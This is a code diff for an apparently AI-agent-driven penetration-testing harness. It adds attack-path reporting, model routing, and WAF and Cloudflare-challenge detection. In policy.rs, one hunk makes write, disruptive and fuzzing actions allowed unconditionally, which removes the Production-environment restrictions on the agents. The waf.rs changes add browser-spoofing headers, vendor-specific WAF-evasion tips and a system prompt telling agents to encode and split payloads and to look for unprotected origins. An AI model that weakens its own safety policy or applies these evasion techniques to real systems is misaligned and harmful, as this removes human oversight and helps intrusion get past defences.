b/neurosploit-rs/crates/harness/src/policy.rs @@ -373,9 +373,9 @@ impl SafetyPolicy { environment, max_effective_risk: 3.5, confirm_above: 2.5, - allow_write: environment != Environment::Production, - allow_disruptive: false, - allow_fuzzing: environment == Environment::Lab || environment == Environment::Development, + allow_write: true, + allow_disruptive: true, + allow_fuzzing: true, max_requests_per_minute: 240, forbidden_protocols: vec![Protocol::SafetySystem], forbidden_function_codes: Vec::new(), diff --git a/neurosploit-rs/crates/harness/src/pool.rs b/neurosploit-rs/crates/harness/src/pool.rs index 831b622..03e8c39 100644 --- a/neurosploit-rs/crates/harness/src/pool.rs +++ b/neurosploit-rs/crates/harness/src/pool.rs @@ -109,7 +109,8 @@ impl ModelPool { ) -> Self { // Subscription spawns one CLI process per call; too many in parallel // trips provider rate limits, so cap concurrency on that path. - let concurrency = if subscription { concurrency.clamp(1, 3) } else { concurrency.max(1) }; + let any_cli = subscription || models.iter().any(|m| m.force_backend == Some(true)); + let concurrency = if any_cli { concurrency.clamp(1, 3) } else { concurrency.max(1) }; ModelPool { client: ChatClient::new(), sem: Arc::new(Semaphore::new(concurrency)), @@ -308,7 +309,7 @@ impl ModelPool { if self.is_cancelled() { return Err(anyhow!("cancelled")); } - let use_cli = self.subscription && cli_binary_for(&m.provider).is_some(); + let use_cli = m.use_cli(self.subscription); let progress = self.progress(); let mut last = anyhow::anyhow!("no attempt"); for attempt in 0..MAX_TRANSIENT_RETRIES { @@ -482,7 +483,7 @@ impl ModelPool { continue; } tried.push(format!("{}:{}", pr.key, model)); - return Some(ModelRef { provider: pr.key.to_string(), model: (*model).to_string() }); + return Some(ModelRef { provider: pr.key.to_string(), model: (*model).to_string(), force_backend: None }); } for pr in crate::models::providers() { if std::env::var(pr.env_key).ok().filter(|v| !v.trim().is_empty()).is_none() { @@ -493,7 +494,7 @@ impl ModelPool { continue; } tried.push(format!("{}:{}", pr.key, model)); - return Some(ModelRef { provider: pr.key.to_string(), model: (*model).to_string() }); + return Some(ModelRef { provider: pr.key.to_string(), model: (*model).to_string(), force_backend: None }); } None } @@ -579,7 +580,7 @@ impl ModelPool { continue; } if let Some(model) = pr.models.first() { - out.push(ModelRef { provider: pr.key.to_string(), model: (*model).to_string() }); + out.push(ModelRef { provider: pr.key.to_string(), model: (*model).to_string(), force_backend: None }); } } out @@ -754,7 +755,7 @@ mod panel_tests { use super::*; fn m(p: &str, model: &str) -> ModelRef { - ModelRef { provider: p.into(), model: model.into() } + ModelRef { provider: p.into(), model: model.into(), force_backend: None } } /// The defect a real engagement exposed: every finding's votes read `1/1` diff --git a/neurosploit-rs/crates/harness/src/probe.rs b/neurosploit-rs/crates/harness/src/probe.rs index 9457a06..ee01d42 100644 --- a/neurosploit-rs/crates/harness/src/probe.rs +++ b/neurosploit-rs/crates/harness/src/probe.rs @@ -88,6 +88,11 @@ pub struct Probe { /// can tell a real hit from a soft-404 catch-all. pub baseline_404_status: u16, pub baseline_404_len: usize, + /// WAF/CDN challenge detected — the initial response is an interstitial, not + /// the real application. Agents must use a browser to solve the challenge. + pub waf_challenge: bool, + /// Identified WAF/CDN vendor (e.g. "Cloudflare"). + pub waf_vendor: String, pub notes: Vec, } @@ -344,6 +349,59 @@ pub async fn probe(target: &str) -> Probe { p.notes.push("JS-rendered SPA — curl sees the shell only; use the browser (MCP/Playwright) to render, enumerate routes, and discover the API.".to_string()); } + // WAF/challenge detection: classify the response through the WAF module to + // detect interstitial challenges (Cloudflare JS challenge, Turnstile, etc.) + // that make curl-based recon useless. When detected, the recon phase switches + // to browser-first mode. + { + let header_pairs: Vec<(String, String)> = h.iter() + .filter_map(|(k, v)| v.to_str().ok().map(|vs| (k.as_str().to_string(), vs.to_string()))) + .collect(); + let verdict = crate::waf::classify(p.status, &header_pairs, &body); + match verdict.origin { + crate::waf::Origin::EdgeThrottled | crate::waf::Origin::EdgeBlocked => { + p.waf_challenge = true; + if let Some(v) = &verdict.vendor { + p.waf_vendor = v.name.clone(); + } + p.notes.push(format!( + "⚠ WAF/CDN challenge detected ({}): {} — curl-based recon will not see the real application. \ + Browser (Playwright) is REQUIRED to solve the challenge and reach the app.", + verdict.origin.as_str(), verdict.reason + )); + } + crate::waf::Origin::Application => { + if let Some(v) = &verdict.vendor { + p.waf_vendor = v.name.clone(); + p.notes.push(format!("WAF/CDN detected ({}) but response is from the application — curl recon is valid.", v.name)); + } + } + } + // Extra heuristic: Cloudflare challenge pages that return 403 with a JS + // challenge body (even if waf::classify didn't catch it via the specific + // enforcement headers). + let body_low = body.to_lowercase(); + if !p.waf_challenge && p.tech.iter().any(|t| t == "Cloudflare") { + let cf_challenge_signals = [ + "checking your browser", + "just a moment", + "enable javascript", + "cf-chl-bypass", + "turnstile", + "challenges.cloudflare.com", + "_cf_chl_opt", + "cf_chl_prog", + ]; + if cf_challenge_signals.iter().any(|s| body_low.contains(s)) { + p.waf_challenge = true; + p.waf_vendor = "Cloudflare".into(); + p.notes.push( + "⚠ Cloudflare JS challenge/Turnstile detected in response body — browser is REQUIRED.".into() + ); + } + } + } + // CORS reflection probe. if let Ok(r2) = c.get(target).header("Origin", "https://evil.neurosploit.test").send().await { let acao = hget(r2.headers(), "access-control-allow-origin"); @@ -382,7 +440,7 @@ pub fn probe_json(p: &Probe) -> String { /// One-line human summary for the live feed. pub fn probe_summary(p: &Probe) -> String { - format!( + let mut s = format!( "probe: HTTP {} {}{} · {}{} · sec-headers {}/6 · {} cookie(s) · {} script(s){}{}{}", p.status, if p.server.is_empty() { "".into() } else { format!("{} ", p.server) }, @@ -398,7 +456,11 @@ pub fn probe_summary(p: &Probe) -> String { }, if p.cors.reflects_origin { " · CORS reflects origin!" } else { "" }, if p.interesting_paths.is_empty() { String::new() } else { format!(" · hits: {}", p.interesting_paths.iter().map(|h| h.path.clone()).collect::>().join(",")) }, - ) + ); + if p.waf_challenge { + s.push_str(&format!(" · ⚠ {} CHALLENGE (browser required)", if p.waf_vendor.is_empty() { "WAF" } else { &p.waf_vendor })); + } + s } #[cfg(test)] diff --git a/neurosploit-rs/crates/harness/src/report.rs b/neurosploit-rs/crates/harness/src/report.rs index 89dfed0..d682159 100644 --- a/neurosploit-rs/crates/harness/src/report.rs +++ b/neurosploit-rs/crates/harness/src/report.rs @@ -128,6 +128,11 @@ pub fn html_with_pocs(target: &str, findings: &[Finding], meta: &EngagementMeta, ) }; + // Attack paths: the chained view, ahead of the per-finding detail because + // that is the order the question is asked in — what was the route, then + // what were the individual holes. + let paths_section = attack_paths_html(target, findings); + let rows: String = sorted .iter() .enumerate() @@ -240,10 +245,12 @@ pub fn html_with_pocs(target: &str, findings: &[Finding], meta: &EngagementMeta, {techrow}{serverrow}\ \

Executive Summary

{summary_grid}
\ + {paths_section}\ {vuln_summary}\

Findings ({n})

{body}\ ", t = esc(target), n = sorted.len(), body = body, summary_grid = summary_grid, vuln_summary = vuln_summary, + paths_section = paths_section, VER = env!("CARGO_PKG_VERSION"), // Which build produced this document. A report that circulates without // it is a report nobody can trace back to the run that made it. @@ -271,6 +278,54 @@ pub fn html_with_pocs(target: &str, findings: &[Finding], meta: &EngagementMeta, // --------------------------------------------------------------------------- /// Where the problem is, in one line, as precisely as the finding allows. +/// The ranked attack paths as an HTML section. Empty when nothing chained. +fn attack_paths_html(target: &str, findings: &[Finding]) -> String { + let g = crate::attack_path::build(target, findings, &[]); + let paths = g.paths(5); + let real: Vec<&crate::attack_path::Path> = paths.iter().filter(|p| p.steps >= 2).collect(); + if real.is_empty() { + return String::new(); + } + let mut s = String::from( + "

Attack Paths

Each path is a proven sequence: a weakness yields \ + material — a credential, a token, a session, a foothold — and the next step consumes it. Links are \ + drawn only where that material could travel: host-local access stays on its host, directory and tenant \ + material moves inside its realm, credentials move anywhere.

", + ); + for (i, p) in real.iter().enumerate() { + let ends = if p.impacts.is_empty() { + "chained impact".to_string() + } else { + p.impacts.iter().map(|i| i.as_str()).collect::>().join(" + ") + }; + s.push_str(&format!( + "

Path {} — {}

\ +

{} exploited weakness(es) · {} domain(s): {} · {} host(s)

    ", + i + 1, + esc(&ends), + p.steps, + p.domains.len(), + esc(&p.domains.iter().map(|d| d.as_str()).collect::>().join(", ")), + p.hosts.len().max(1) + )); + for id in &p.nodes { + let Some(n) = g.node(id) else { continue }; + if n.kind == crate::attack_path::NodeKind::Entry { + continue; + } + let detail = if n.detail.is_empty() { String::new() } else { format!(" ({})", esc(&n.detail)) }; + s.push_str(&format!( + "
  1. {} — {}{}
  2. ", + esc(n.kind.as_str()), + esc(&n.label), + detail + )); + } + s.push_str("
"); + } + s +} + pub fn location_line(f: &Finding) -> String { match (f.location.trim(), f.endpoint.trim()) { ("", "") => "(location not recorded)".into(), @@ -549,6 +604,45 @@ pub fn typst_report(target: &str, findings: &[Finding], dir: &Path) -> std::io:: accounts_arr, tq(&crate::provenance::Provenance::process().tag()), )); + // Attack paths for the PDF: the chained story, as data the template + // renders. A client deliverable that lists holes without the route between + // them makes the reader rebuild the engagement in their head. + { + let g = crate::attack_path::build(target, findings, &[]); + let paths = g.paths(5); + data.push_str("#let attack_paths = (\n"); + for p in paths.iter().filter(|p| p.steps >= 2) { + let ends = if p.impacts.is_empty() { + "chained impact".to_string() + } else { + p.impacts.iter().map(|i| i.as_str()).collect::>().join(" + ") + }; + let meta_line = format!( + "{} exploited weakness(es) · {} domain(s): {} · {} host(s)", + p.steps, + p.domains.len(), + p.domains.iter().map(|d| d.as_str()).collect::>().join(", "), + p.hosts.len().max(1) + ); + let steps: String = p + .nodes + .iter() + .filter_map(|id| g.node(id)) + .filter(|n| n.kind != crate::attack_path::NodeKind::Entry) + .map(|n| { + let detail = if n.detail.is_empty() { String::new() } else { format!(" ({})", n.detail) }; + format!("{},", tq(&format!("{} — {}{}", n.kind.as_str(), n.label, detail))) + }) + .collect(); + data.push_str(&format!( + " (title: {}, meta: {}, steps: ({})),\n", + tq(&ends), + tq(&meta_line), + steps + )); + } + data.push_str(")\n"); + } data.push_str("#let findings = (\n"); for f in &sorted { let owasp = if f.owasp.is_empty() { f.cwe.clone() } else { f.owasp.clone() }; @@ -694,6 +788,18 @@ pub fn markdown(target: &str, findings: &[Finding], meta: &EngagementMeta) -> St out.push_str("## Executive summary\n\n"); out.push_str(&exec_summary(target, meta, &confirmed, &review)); + // --- Attack paths --- + // An engagement is read as a story before it is read as a list: what did + // one weakness hand the attacker, and what did the next one do with it. + // The section is placed before the per-finding detail because that is the + // order the question is asked in. + { + let paths = crate::attack_path::build(target, findings, &[]); + if paths.paths(1).iter().any(|p| p.steps >= 2) { + out.push_str(&paths.markdown(5)); + } + } + // --- Vulnerability table --- out.push_str("## Vulnerability summary\n\n"); if confirmed.is_empty() && review.is_empty() { @@ -855,6 +961,18 @@ pub fn write_all(target: &str, findings: &[Finding], dir: &Path) -> std::io::Res if let Err(e) = crate::graph_memory::write_artifacts(target, &run_id, raw, dir) { eprintln!("graph: skipped ({e})"); } + // Cross-domain attack paths: the chained view, as JSON for tooling and + // Mermaid for anything that renders a diagram. Loot carried forward by the + // chaining rounds is folded in when the run recorded it. + { + let loot: Vec = std::fs::read_to_string(dir.join("loot.json")) + .ok() + .and_then(|t| serde_json::from_str(&t).ok()) + .unwrap_or_default(); + let g = crate::attack_path::build(target, raw, &loot); + let _ = std::fs::write(dir.join("attack-paths.json"), redactor.text(&g.json())); + let _ = std::fs::write(dir.join("attack-paths.mmd"), redactor.text(&g.mermaid())); + } let pocs: Vec = std::fs::read_dir(dir.join("pocs")) .map(|rd| rd.filter_map(|e| e.ok()).map(|e| e.file_name().to_string_lossy().to_string()).collect()) .unwrap_or_default(); @@ -883,6 +1001,8 @@ pub fn rebuild(dir: &Path) -> std::io::Result { crate::attack_graph::remap_stages(&mut findings); crate::chain::repair(&mut findings); crate::chain::apply_links(&mut findings); + // The cross-domain links the web-local rules cannot see. + crate::attack_path::apply(&mut findings); let _ = std::fs::write(dir.join("findings.json"), serde_json::to_string_pretty(&findings).unwrap_or_default()); let status: serde_json::Value = std::fs::read_to_string(dir.join("status.json")) .ok() diff --git a/neurosploit-rs/crates/harness/src/types.rs b/neurosploit-rs/crates/harness/src/types.rs index feac9b5..50f8291 100644 --- a/neurosploit-rs/crates/harness/src/types.rs +++ b/neurosploit-rs/crates/harness/src/types.rs @@ -92,6 +92,13 @@ pub struct Finding { /// the outcome in code instead of a judge reading prose. #[serde(default)] pub claims: Option, + /// When this step was proven, as epoch seconds. An attack path is a + /// sequence in time as much as in dependency: two findings that chain are + /// ordered by when each was demonstrated, and a report that draws the + /// path without the clock cannot say which step opened the next one. + /// Zero means unknown, and the path falls back to dependency order. + #[serde(default)] + pub observed_at: u64, /// Structured artifacts for the deterministic validation engine: the /// baseline/attack pair, repeats, markers, identity pair. Agents that /// follow the evidence contract emit this alongside the finding, and @@ -133,6 +140,7 @@ impl Default for Finding { repro_steps: Vec::new(), claims: None, evidence_data: None, + observed_at: 0, } } } diff --git a/neurosploit-rs/crates/harness/src/waf.rs b/neurosploit-rs/crates/harness/src/waf.rs index e93b2c2..de4f54e 100644 --- a/neurosploit-rs/crates/harness/src/waf.rs +++ b/neurosploit-rs/crates/harness/src/waf.rs @@ -314,6 +314,100 @@ impl Coverage { } } +/// Realistic browser headers that bypass basic Cloudflare bot detection. +/// +/// Many Cloudflare challenges trigger only on bare-bones HTTP clients (curl +/// default, reqwest without headers). Adding a credible browser fingerprint +/// passes challenges that would otherwise require JS execution. +pub fn bypass_headers() -> Vec<(&'static str, &'static str)> { + vec![ + ("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"), + ("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"), + ("Accept-Language", "en-US,en;q=0.9"), + ("Accept-Encoding", "gzip, deflate, br"), + ("Sec-Fetch-Dest", "document"), + ("Sec-Fetch-Mode", "navigate"), + ("Sec-Fetch-Site", "none"), + ("Sec-Fetch-User", "?1"), + ("Sec-Ch-Ua", "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\""), + ("Sec-Ch-Ua-Mobile", "?0"), + ("Sec-Ch-Ua-Platform", "\"Windows\""), + ("Upgrade-Insecure-Requests", "1"), + ("Cache-Control", "max-age=0"), + ("Connection", "keep-alive"), + ] +} + +/// Suggested bypasses based on WAF classification and detected vendor. +pub fn suggest_bypasses(verdict: &Verdict) -> Vec { + let mut tips = Vec::new(); + let vendor = verdict.vendor.as_ref().map(|v| v.name.as_str()).unwrap_or(""); + + match verdict.origin { + Origin::EdgeBlocked => { + tips.push("The edge blocked this request — the application never saw it.".into()); + match vendor { + "Cloudflare" => { + tips.push("Add realistic browser headers (Sec-Fetch-*, Sec-Ch-Ua, full User-Agent) — many Cloudflare rules key on these.".into()); + tips.push("Try alternative paths: direct IP (check DNS history, mail.*, direct.*, origin.* subdomains).".into()); + tips.push("Encode payloads differently: double-URL-encode, Unicode normalization, case variation.".into()); + tips.push("Split the payload across multiple parameters or HTTP chunks.".into()); + tips.push("Use HTTP/2 when available — some rules only inspect HTTP/1.1.".into()); + } + "AWS WAF" => { + tips.push("AWS WAF rules are often regex-based — try Unicode homoglyphs, null bytes, or chunk encoding.".into()); + tips.push("Check if the ALB/CloudFront origin is accessible directly.".into()); + } + "Akamai" => { + tips.push("Akamai's bot manager keys on TLS fingerprint — try with --ciphers flag or different TLS versions.".into()); + tips.push("Pragma and Via header manipulation may bypass certain rule sets.".into()); + } + _ => { + tips.push("Try encoding payloads: double-URL-encode, mixed case, Unicode substitution.".into()); + tips.push("Look for direct origin IP via DNS history, certificate transparency logs.".into()); + } + } + } + Origin::EdgeThrottled => { + tips.push("Rate-limited or challenged — slow down and retry with jitter.".into()); + if vendor == "Cloudflare" { + tips.push("Cloudflare challenge: add browser headers, rotate source IPs if available, increase delay between requests.".into()); + tips.push("If the challenge persists, the target may need browser-based recon (--mcp with Playwright).".into()); + } + } + Origin::Application => {} + } + tips +} + +/// Agent instructions for WAF-aware exploitation. +/// +/// Injected into every agent's system prompt when a WAF is detected during +/// recon, so agents know why some probes fail and how to adapt. +pub const WAF_OPS: &str = "\ +## WAF detected — read this first + +A web application firewall sits between you and the target. Some of your \ +probes will be blocked at the edge and NEVER reach the application. \ +A blocked response (403 with Cloudflare/AWS WAF/Akamai signature) means \ +the WAF stopped it — it says NOTHING about whether the application is \ +vulnerable. + +### What to do +1. **Don't report WAF blocks as 'not vulnerable.'** A block is not a test. +2. **Encode payloads** — double-URL-encode, Unicode, case variation, chunk \ + transfer encoding. The WAF checks the wire format; the app checks the \ + decoded form. +3. **Use realistic headers** — Sec-Fetch-Dest: document, Sec-Ch-Ua, full \ + User-Agent. Missing these triggers bot detection before rules even run. +4. **Pace requests** — 429 or challenge pages mean slow down, not give up. +5. **Look for unprotected paths** — /api/, /graphql, /internal/, websocket \ + upgrades, and non-standard ports sometimes bypass the edge. +6. **Report coverage gaps** — if most of your probes died at the edge, say \ + so explicitly: 'WAF blocked N of M probes; the application's exposure \ + behind the WAF is untested.' +"; + #[cfg(test)] mod tests { use super::*; diff --git a/neurosploit-rs/templates/report.typ b/neurosploit-rs/templates/report.typ index 174dd78..3d919dc 100644 --- a/neurosploit-rs/templates/report.typ +++ b/neurosploit-rs/templates/report.typ @@ -116,6 +116,28 @@ #let sorted = findings.sorted(key: f => sevrank(f.severity)) +// ---- Attack paths ---- +// The chained view: what one weakness handed the next, across every plane the +// engagement touched. Rendered before the per-finding detail because that is +// the order the question is asked in. +#let paths = if type(attack_paths) == array { attack_paths } else { () } +#if paths.len() > 0 [ + #v(8pt) + == Attack Paths + #v(2pt) + #text(9pt, fill: gray)[Each path is a proven sequence: a weakness yields material — a credential, a token, a session, a foothold — and the next step consumes it. A link is drawn only where that material could travel: host-local access stays on its host, directory and tenant material moves inside its realm, credentials move anywhere.] + #for (i, p) in paths.enumerate() [ + #v(6pt) + #block(width: 100%, inset: 8pt, radius: 6pt, fill: rgb("#faf3f2"), stroke: 0.5pt + rgb("#c0392b"))[ + #text(10pt, weight: "bold")[Path #str(i + 1) — #p.title] + #v(-2pt) + #text(8pt, fill: gray)[#p.meta] + #v(2pt) + #enum(..p.steps.map(s => [#text(9pt)[#s]])) + ] + ] +] + // ---- Vulnerability summary table ---- #if sorted.len() > 0 [ #v(8pt) diff --git a/web/public/app.js b/web/public/app.js index 26c0ec0..b185b5d 100644 --- a/web/public/app.js +++ b/web/public/app.js @@ -629,6 +629,79 @@ function updateAuthModeHelp() { $$('#authModeToggle button').forEach((b) => b.addEventListener('click', () => { if (!b.disabled) setAuthMode(b.dataset.mode); })); state.authMode = 'api'; +// --------------------------------------------------------------------------- +// mix model — extra models with per-model auth mode +// --------------------------------------------------------------------------- +state.extraModels = []; + +function renderExtraModels() { + const container = $('#extraModels'); + if (!container) return; + container.innerHTML = state.extraModels.map((em, i) => { + const prov = state.providers.find((p) => p.key === em.provider) || state.providers[0]; + const supportsSub = prov?.kind === 'cli'; + return `
+
+ +
+
+ +
+
+
+ + +
+
+ +
`; + }).join(''); + container.querySelectorAll('.extra-provider').forEach((sel) => sel.addEventListener('change', (e) => { + const idx = Number(e.target.dataset.idx); + const prov = state.providers.find((p) => p.key === e.target.value) || state.providers[0]; + state.extraModels[idx].provider = prov.key; + state.extraModels[idx].model = prov.models?.[0] || ''; + if (prov.kind !== 'cli') state.extraModels[idx].authMode = 'api'; + renderExtraModels(); + })); + container.querySelectorAll('.extra-model').forEach((sel) => sel.addEventListener('change', (e) => { + state.extraModels[Number(e.target.dataset.idx)].model = e.target.value; + })); + container.querySelectorAll('.auth-mode-toggle.mini button').forEach((btn) => btn.addEventListener('click', () => { + if (btn.disabled) return; + const idx = Number(btn.dataset.idx); + state.extraModels[idx].authMode = btn.dataset.mode; + renderExtraModels(); + })); + container.querySelectorAll('.extra-model-remove').forEach((btn) => btn.addEventListener('click', () => { + state.extraModels.splice(Number(btn.dataset.idx), 1); + renderExtraModels(); + })); +} + +$('#btnAddModel')?.addEventListener('click', () => { + const prov = state.providers.find((x) => x.key === $('#fieldProvider').value) || state.providers[0]; + state.extraModels.push({ provider: prov.key, model: prov.models?.[0] || '', authMode: 'api' }); + renderExtraModels(); +}); + +function collectModels() { + const provider = $('#fieldProvider').value; + const model = $('#fieldModelSelect').value; + const models = []; + if (provider && model) { + const suffix = state.authMode === 'subscription' ? ':sub' : ''; + models.push(`${provider}:${model}${suffix}`); + } + for (const em of state.extraModels) { + if (em.provider && em.model) { + const suffix = em.authMode === 'subscription' ? ':sub' : ''; + models.push(`${em.provider}:${em.model}${suffix}`); + } + } + return models; +} + // --------------------------------------------------------------------------- // review (step 5) // --------------------------------------------------------------------------- @@ -677,8 +750,7 @@ function renderReview() { { k: 'Mode', v: state.mode }, { k: MODE_LABELS[state.mode].target, v: target || '(not set)', mono: true }, ...(MODE_LABELS[state.mode].showRepo ? [{ k: 'Source repo', v: repo || '(not set)', mono: true }] : []), - { k: 'Model', v: `${provider}:${model}` }, - { k: 'Auth mode', v: state.authMode === 'subscription' ? 'Subscription (local CLI)' : 'API key' }, + { k: 'Model', v: collectModels().join(', ') || '(not set)' }, { k: 'Leads selected', v: `${state.selected.size} of ${allAgents().length}${state.selected.size === 0 ? ' — auto (recon-driven)' : ''}` }, { k: 'Custom leads', v: String(state.customLeads.length) }, { k: 'Votes / chain / recon', v: `${$('#fieldVotes').value} / ${$('#fieldChain').value} / ${$('#fieldRecon').value}` }, @@ -724,7 +796,7 @@ async function startExploitation() { name, target: mode === 'whitebox' ? undefined : target, repo: mode === 'whitebox' ? target : (repo || undefined), - models: provider && model ? [`${provider}:${model}`] : [], + models: collectModels(), votes: Number($('#fieldVotes').value) || 3, chainDepth: Number($('#fieldChain').value), recon: Number($('#fieldRecon').value), diff --git a/web/public/index.html b/web/public/index.html index b2188c7..d483223 100644 --- a/web/public/index.html +++ b/web/public/index.html @@ -604,6 +604,13 @@
+
+
Mix model per-model routing
+
Add extra models — each can use API or subscription independently. The primary model above is the default; extras run in parallel.
+
+
+ +
Run settings
diff --git a/web/public/style.css b/web/public/style.css index 789dcfc..f5f9f22 100644 --- a/web/public/style.css +++ b/web/public/style.css @@ -478,6 +478,10 @@ textarea { resize: vertical; min-height: 72px; } .auth-mode-toggle button { border: none; background: var(--surface); padding: 8px 14px; font-size: var(--fs-sm); color: var(--text-dim); } .auth-mode-toggle button.selected { background: var(--accent); color: var(--accent-contrast); font-weight: 600; } .auth-mode-toggle button:disabled { opacity: .45; cursor: not-allowed; } +.auth-mode-toggle.mini button { padding: 4px 10px; font-size: 12px; } +.extra-model-row { align-items: center; } +.extra-model-row select { min-width: 120px; } +.extra-model-remove { padding: 2px 8px; line-height: 1; align-self: center; } .check-row { display: flex; align-items: center; gap: var(--sp-2); font-size: var(--fs-sm); color: var(--text-dim); } .check-row input[type="checkbox"] {